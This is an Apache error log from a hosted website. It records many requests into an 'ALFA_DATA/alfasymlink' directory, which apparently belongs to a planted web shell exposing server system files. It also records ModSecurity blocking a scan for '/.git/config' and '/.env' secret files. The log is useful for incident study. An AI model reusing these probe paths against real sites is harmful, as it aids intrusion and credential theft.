[Sat Oct 24 17:05:31.135873 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.208.156.9:62426] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:05:38.731405 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.195.60.66:47463] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:05:42.614834 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 185.191.171.4:56168] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/free_calls
[Sat Oct 24 17:05:47.127118 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.207.89.138:33812] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:05:54.813090 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 3.221.222.168:16634] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:06:06.787431 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 3.220.148.166:55329] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/Cavium PTP Driver/new_id
[Sat Oct 24 17:06:10.745510 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 44.215.61.66:51685] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:06:14.602785 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.205.91.101:34504] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:06:18.727322 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 52.45.92.83:59762] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:05/physical_node/driver/uevent
[Sat Oct 24 17:06:26.767497 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.209.35.147:50315] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:06:38.610045 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.206.193.60:15699] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:06:42.837170 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 98.82.63.147:40225] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:06:42.837396 2026] [security2:error] [pid 2693034:tid 2693034] [client 98.82.63.147:40225] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input5/subsystem/event1/device/device/driver/bind_mode"] [unique_id "at0d4lQTwXU83R4GW_mYXAAAACg"]
[Sat Oct 24 17:06:42.837425 2026] [security2:error] [pid 2693034:tid 2693034] [client 98.82.63.147:40225] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input5/subsystem/event1/device/device/driver/bind_mode"] [unique_id "at0d4lQTwXU83R4GW_mYXAAAACg"]
[Sat Oct 24 17:06:47.020255 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.229.2.217:60144] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:07:02.929287 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.214.138.148:61051] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:07:18.957498 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 44.218.170.184:41778] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:07:22.694160 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.205.127.11:64855] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:07:44.752450 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 52.7.13.143:49077] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:05/physical_node/driver/bind
[Sat Oct 24 17:08:06.902011 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 98.84.70.201:23091] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:08:22.863177 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 52.204.37.237:43773] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/virtio1/driver/bind
[Sat Oct 24 17:08:27.341334 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.214.124.6:65503] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:08:30.841334 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 52.45.92.83:31669] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:08:46.776911 2026] [ssl:error] [pid 2692918:tid 2692918] (5)Input/output error: [client 52.44.174.136:25184] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:08:46.777132 2026] [security2:error] [pid 2692918:tid 2692918] [client 52.44.174.136:25184] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:16/subsystem/devices/device:03/physical_node/power/autosuspend_delay_ms"] [unique_id "at0eXrUNAjBk2uOT2T-E-gAAAAo"]
[Sat Oct 24 17:08:46.777166 2026] [security2:error] [pid 2692918:tid 2692918] [client 52.44.174.136:25184] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:16/subsystem/devices/device:03/physical_node/power/autosuspend_delay_ms"] [unique_id "at0eXrUNAjBk2uOT2T-E-gAAAAo"]
[Sat Oct 24 17:09:02.862281 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 184.73.167.217:48027] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:09:06.879513 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 23.23.104.107:15062] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:09:18.892534 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.93.253.174:63750] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:09:23.080796 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 52.71.218.25:18687] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/xhci_hcd/unbind
[Sat Oct 24 17:09:35.084162 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.80.73.122:34000] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:09:42.989752 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 98.82.214.73:20013] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:09:47.039349 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.231.181.240:31370] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:09:54.923343 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 107.20.224.184:10990] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:09:58.930169 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.233.114.237:52240] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:10:02.880205 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.194.95.99:5702] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:10:06.881850 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.203.152.231:58635] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:10:10.853294 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 3.214.176.44:9642] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:10:14.876353 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 52.204.253.129:34410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS1/line
[Sat Oct 24 17:10:23.367577 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 52.204.174.139:56016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/slots/13/module/uevent
[Sat Oct 24 17:10:32.297833 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 52.44.174.136:30621] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/slots/12/module/uevent
[Sat Oct 24 17:10:39.291938 2026] [core:error] [pid 2692917:tid 2692917] (13)Permission denied: [client 23.21.250.48:27653] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup0/device/physical_node/subsystem/uevent
[Sat Oct 24 17:10:47.089574 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 100.29.164.178:11509] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:10:50.996078 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 23.23.137.202:52510] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:11:12.614685 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 85.208.96.204:42840] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCP/slabs_cpu_partial
[Sat Oct 24 17:11:15.019103 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.224.215.150:5584] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:11:19.301907 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.90.73.206:24797] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:11:21.409445 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 185.191.171.8:19258] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:11:25.610060 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 85.208.96.196:28324] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:11:26.722515 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.198:20534] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCP/align
[Sat Oct 24 17:11:35.262103 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 54.225.148.123:62305] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/drivers/piix4_smbus/0000:00:01.3/remove
[Sat Oct 24 17:11:37.673665 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 85.208.96.199:53684] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_event/alloc_calls
[Sat Oct 24 17:11:43.151868 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.231.181.240:60343] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:11:47.061028 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 23.21.227.240:11736] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:11:51.704081 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 52.44.174.136:17169] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:12:15.162395 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.212.106.171:48254] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:12:19.294210 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 23.21.148.226:10494] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:12:23.141531 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.235.158.19:58894] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:12:27.893704 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.233.24.238:39571] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:12:35.461806 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 34.233.219.155:33332] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/iosf_mbi_pci/bind
[Sat Oct 24 17:12:39.330151 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 34.239.85.139:45673] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:12:43.338078 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.163.136.244:50205] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:12:47.415704 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.164.106.236:29165] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:12:51.466842 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 23.21.228.180:13975] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:12:55.490997 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 3.225.9.97:25699] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:12:59.483092 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.225.24.180:27273] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:13:11.433454 2026] [ssl:error] [pid 2684583:tid 2684583] (5)Input/output error: [client 44.213.36.21:64207] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:13:23.507196 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.218.103.254:1262] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:13:35.217819 2026] [ssl:error] [pid 2677776:tid 2677776] (5)Input/output error: [client 44.217.255.167:26522] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:13:47.209437 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.92.171.106:50377] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:13:51.189637 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.226.106.93:44586] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:13:55.107331 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.225.9.97:1604] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:14:03.146079 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.203.68.145:20008] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:14:11.269642 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.83.94.113:45315] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:14:19.104925 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 34.238.45.183:44947] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/ACPI0010:00/LNXCPU:01/eject
[Sat Oct 24 17:14:23.027379 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 54.235.158.162:27746] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:14:35.091686 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.207.69.106:54161] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:14:38.944208 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.232.102.111:7773] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:14:51.036664 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.85.109.140:3176] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:14:59.081026 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.84.169.196:7882] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:15:06.829863 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.145.82.217:63355] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:15:25.263652 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 85.208.96.203:17856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dquot/slab_size
[Sat Oct 24 17:15:26.899171 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.89.90.224:4838] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:15:30.129406 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 185.191.171.12:10914] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:15:30.709199 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 34.203.111.15:1444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/crash_notes
[Sat Oct 24 17:15:33.890001 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0f9bbQ4HMkj2Xm_OsavwAAAAk"]
[Sat Oct 24 17:15:33.890293 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0f9bbQ4HMkj2Xm_OsavwAAAAk"]
[Sat Oct 24 17:15:33.890621 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0f9bbQ4HMkj2Xm_OsavwAAAAk"]
[Sat Oct 24 17:15:34.090608 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "ia1.sherwinpinturas.com"] [uri "/index.html"] [unique_id "at0f9rbQ4HMkj2Xm_OsawAAAAAk"]
[Sat Oct 24 17:15:34.090651 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "ia1.sherwinpinturas.com"] [uri "/index.html"] [unique_id "at0f9rbQ4HMkj2Xm_OsawAAAAAk"]
[Sat Oct 24 17:15:34.279069 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at0f9rbQ4HMkj2Xm_OsawQAAAAk"]
[Sat Oct 24 17:15:34.279317 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at0f9rbQ4HMkj2Xm_OsawQAAAAk"]
[Sat Oct 24 17:15:34.279678 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at0f9rbQ4HMkj2Xm_OsawQAAAAk"]
[Sat Oct 24 17:15:34.470533 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at0f9rbQ4HMkj2Xm_OsawgAAAAk"]
[Sat Oct 24 17:15:34.470812 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at0f9rbQ4HMkj2Xm_OsawgAAAAk"]
[Sat Oct 24 17:15:34.471209 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at0f9rbQ4HMkj2Xm_OsawgAAAAk"]
[Sat Oct 24 17:15:34.690925 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at0f9rbQ4HMkj2Xm_OsawwAAAAk"]
[Sat Oct 24 17:15:34.691177 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at0f9rbQ4HMkj2Xm_OsawwAAAAk"]
[Sat Oct 24 17:15:34.691505 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at0f9rbQ4HMkj2Xm_OsawwAAAAk"]
[Sat Oct 24 17:15:34.867648 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at0f9rbQ4HMkj2Xm_OsaxAAAAAk"]
